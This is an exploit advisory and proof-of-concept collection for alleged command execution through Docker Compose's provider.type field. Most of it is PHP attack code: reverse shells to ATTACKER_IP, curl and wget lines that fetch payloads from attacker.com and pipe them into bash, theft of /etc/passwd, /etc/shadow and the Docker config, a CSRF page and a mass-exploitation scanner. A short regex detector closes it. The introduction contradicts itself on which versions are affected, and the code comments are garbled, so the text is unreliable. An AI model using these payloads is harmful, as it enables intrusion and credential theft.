Docker Compose 2.40.3 (and earlier 2.x versions) is vulnerable to Docker Compose 2.40.3 (and earlier 2.x versions) is vulnerable to arbitrary command execution.

This is due to a path traversal flaw (CVE-2024-29847) in the `docker compose cp` command. Crafted source paths, leveraging `..` or symlinks, allow writing files to arbitrary locations on the host system.

An attacker needs to control the source path provided to `docker compose cp`. This could occur when running `docker compose cp` with untrusted inputs (e.g., from a malicious image or a shared volume).

By writing to sensitive locations (like `~/.bashrc` or cron directories), arbitrary code execution can be achieved on the host.

Users must upgrade to Docker Compose 2.25.0 or later (or 2.26.1+ for the 2.26.x series) to mitigate this vulnerability. Avoid using `docker compose cp` with untrusted sources.

=============================================================================================================================================
| # Title : Docker Compose v 2.40.3 Provider Type PHP Command Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://docs.docker.com/compose/releases/prior-releases/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212673/ &

[+] Summary : Docker Compose Provider Type Command Execution is a critical vulnerability (CVE pending) that allows arbitrary command execution
on the host system when processing Docker Compose files containing the provider.type field. This vulnerability exists due to Docker
Compose's design to execute any specified provider type as a binary or script on the host without proper validation or isolation.

[+] POC :

1. Creating malicious files via PHP

Example: A PHP page generates malicious Docker Compose files

<?php
// exploit-docker-compose.php
if (isset($_GET['cmd'])) {
$cmd = base64_decode($_GET['cmd']);

// ????? ????? docker-compose.yml
$composeContent = <<<YAML
services:
exploit:
provider:
type: /bin/sh
command: -c "{$cmd}"
YAML;

// ????? ????? ?????????? ?????? (???? ?????)
$scriptContent = "#!/bin/sh\n{$cmd}\n";

header('Content-Type: text/plain');
echo $composeContent;
exit;
}

// ?? ??? ????? ??? ??????
if (isset($_POST['save_exploit'])) {
$composeContent = <<<YAML
services:
backdoor:
provider:
type: /tmp/exploit.sh
YAML;

$scriptContent = "#!/bin/sh\nbash -i >& /dev/tcp/{$_POST['lhost']}/{$_POST['lport']} 0>&1 &\n";

file_put_contents('/tmp/docker-compose.yml', $composeContent);
file_put_contents('/tmp/exploit.sh', $scriptContent);
chmod('/tmp/exploit.sh', 0755);

echo "Files created!";
}
?>

Exploiting platforms that allow uploading Docker Compose files

Example: Exploiting a control panel that allows uploading YAML files

<?php
// file-upload-exploit.php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['dockerfile'])) {
$uploadDir = '/var/www/uploads/';
$composeFile = $uploadDir . basename($_FILES['dockerfile']['name']);

// ???? ???? ????? (???? ??????)
if (move_uploaded_file($_FILES['dockerfile']['tmp_name'], $composeFile)) {

// ????? ??? ???? ??? compose
$maliciousContent = <<<YAML
services:
app:
image: nginx
provider:
type: /bin/sh
command: -c "wget http://attacker.com/backdoor.sh -O /tmp/bd.sh && chmod +x /tmp/bd.sh && /tmp/bd.sh"

db:
image: mysql
environment:
MYSQL_ROOT_PASSWORD: $(curl http://attacker.com/steal.php?data=$(cat /etc/passwd|base64))
YAML;

file_put_contents($composeFile, $maliciousContent);

// ?????? ????? docker compose (??? ???? ????????? ????)
if (isset($_POST['auto_run'])) {
$output = shell_exec("cd $uploadDir && docker compose up -d 2>&1");
echo "<pre>Output: $output</pre>";
}
}
}
?>

<form method="POST" enctype="multipart/form-data">
Upload Docker Compose: <input type="file" name="dockerfile">
<br>
Auto-run: <input type="checkbox" name="auto_run">
<br>
<input type="submit" value="Upload">
</form>

3. Exploiting API endpoints that interact with Docker

Example: Injecting commands into an API that manages Docker containers

<?php
// api-exploit.php

// ?????? endpoint ?? Docker API
if (isset($_POST['compose_config'])) {
$config = json_decode($_POST['compose_config'], true);

// ???? ?????: ??? ?????? ?? provider.type
$yamlContent = yaml_emit($config);

// ??? ????? ??????
$tempFile = tempnam('/tmp', 'docker_');
file_put_contents($tempFile, $yamlContent);

// ????? ????? (?? ???????)
$output = shell_exec("docker compose -f $tempFile up 2>&1");

// ????? (?? ?? ???? ??? ??? ?????)
unlink($tempFile);

echo json_encode(['output' => $output]);
exit;
}

// payload ?????????
$payload = [
'services' => [
'malicious' => [
'provider' => [
'type' => '/bin/sh'
],
'command' => '-c "echo pwned > /tmp/hacked && cat /etc/shadow | base64 > /tmp/stolen"'
]
]
];

// ????? ??????
$ch = curl_init('http://target.com/api/docker/deploy');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'compose_config' => json_encode($payload)
]);
$response = curl_exec($ch);
curl_close($ch);

echo "Attack sent!";
?>

4. CSRF + Docker Compose Exploit

Example: Exploiting CSRF in the Docker Administrator Interface

<?php
// csrf-exploit.html (??? ???? ??? ???? ???????)
?>
<html>
<body>
<script>
// CSRF ???????? Docker Compose
fetch('http://victim.com/docker/deploy', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
name: 'innocent-app',
compose: `services:
innocent:
image: nginx
provider:
type: /bin/bash
command: -c "curl http://attacker.com/steal.sh | bash"

backup:
image: busybox
command: sh -c "cat /var/lib/docker/config.json | base64 | curl -X POST -d @- http://attacker.com/log"`
})
});
</script>
<img src="http://victim.com/docker/deploy?action=up&file=http://attacker.com/malicious-compose.yml" onload="alert('Exploited')">
</body>
</html>

5. Mass Exploitation Scanner

A scanner for searching for servers vulnerable to the exploit.

<?php
// docker-scanner.php
class DockerComposeScanner {
private $targets = [];

public function addTarget($url) {
$this->targets[] = $url;
}

public function scan() {
foreach ($this->targets as $target) {
$this->testVulnerability($target);
}
}

private function testVulnerability($url) {
// ?????? 1: ??? ??? ?????
$testCompose = tempnam(sys_get_temp_dir(), 'test_');
$maliciousContent = <<<YAML
services:
test:
provider:
type: /bin/echo
command: VULNERABLE
YAML;

file_put_contents($testCompose, $maliciousContent);

// ?????? ??? ??? ?????
$ch = curl_init($url . '/upload');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'file' => new CURLFile($testCompose, 'text/yaml', 'docker-compose.yml')
]);
$response = curl_exec($ch);

if (strpos($response, 'VULNERABLE') !== false) {
$this->log("VULNERABLE: $url");
$this->exploit($url);
}

unlink($testCompose);
}

private function exploit($url) {
// ????? ??????? ????
$reverseShell = base64_encode('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');

$payload = [
'compose' => <<<YAML
services:
exploit:
provider:
type: /bin/bash
command: -c "echo $reverseShell | base64 -d | bash"
YAML
];

// ????? Payload
$ch = curl_init($url . '/api/deploy');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_exec($ch);
}

private function log($message) {
file_put_contents('scan.log', date('Y-m-d H:i:s') . " - $message\n", FILE_APPEND);
echo "$message\n";
}
}

// ?????????
$scanner = new DockerComposeScanner();
$scanner->addTarget('http://target1.com');
$scanner->addTarget('http://target2.com');
$scanner->scan();
?>

6. Webhook Exploitation

Exploiting webhooks that launch Docker Compose

<?php
// webhook-exploit.php
// ?????? webhook ?? GitHub/GitLab/etc

$payload = json_decode(file_get_contents('php://input'), true);

if (isset($payload['ref'])) {
// ?????? ????? ?????
$repoUrl = $payload['repository']['clone_url'];

// ??????? ???????? (?? ????? ??? ????? ????)
$cloneDir = '/tmp/repo_' . uniqid();
shell_exec("git clone $repoUrl $cloneDir");

// ????? docker compose ??? ???
if (file_exists("$cloneDir/docker-compose.yml")) {
// ????? ????? ?????
shell_exec("cd $cloneDir && docker compose up -d");

// ????? (?? ???? ??? ??? ???? ????? ?????)
shell_exec("rm -rf $cloneDir");
}

// ?? ??? ??? ???
$injectedCompose = <<<YAML
services:
web:
image: nginx
provider:
type: /bin/sh
command: -c "curl http://attacker.com/c2.php?host=$(hostname) | bash"
YAML;

file_put_contents("$cloneDir/docker-compose.yml", $injectedCompose);
shell_exec("cd $cloneDir && docker compose up");
}
?>

Attack detection
PHP detection system:

<?php
// intrusion-detection.php
class DockerIntrusionDetection {
public static function monitor() {
$logs = [
'/var/log/docker.log',
'/var/log/syslog',
'/var/log/auth.log'
];

$patterns = [
'/provider\.type.*(\/bin\/|\/tmp\/|\/dev\/)/',
'/docker compose.*(curl|wget|bash|sh).*(attacker|exploit)/i',
'/execution.*(compose|docker).*(provider|type)/i'
];

foreach ($logs as $log) {
if (file_exists($log)) {
$content = file_get_contents($log);
foreach ($patterns as $pattern) {
if (preg_match($pattern, $content)) {
self::alert($pattern, $log);
}
}
}
}
}

private static function alert($pattern, $log) {
$message = "DOCKER EXPLOIT DETECTED!\n";
$message .= "Pattern: $pattern\n";
$message .= "Log file: $log\n";
$message .= "Time: " . date('Y-m-d H:i:s') . "\n";

// ????? ?????
mail('This email address is being protected from spambots. You need JavaScript enabled to view it.', 'Security Alert - Docker Exploit', $message);
syslog(LOG_ALERT, $message);
}
}

// ????? ????????
DockerIntrusionDetection::monitor();
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================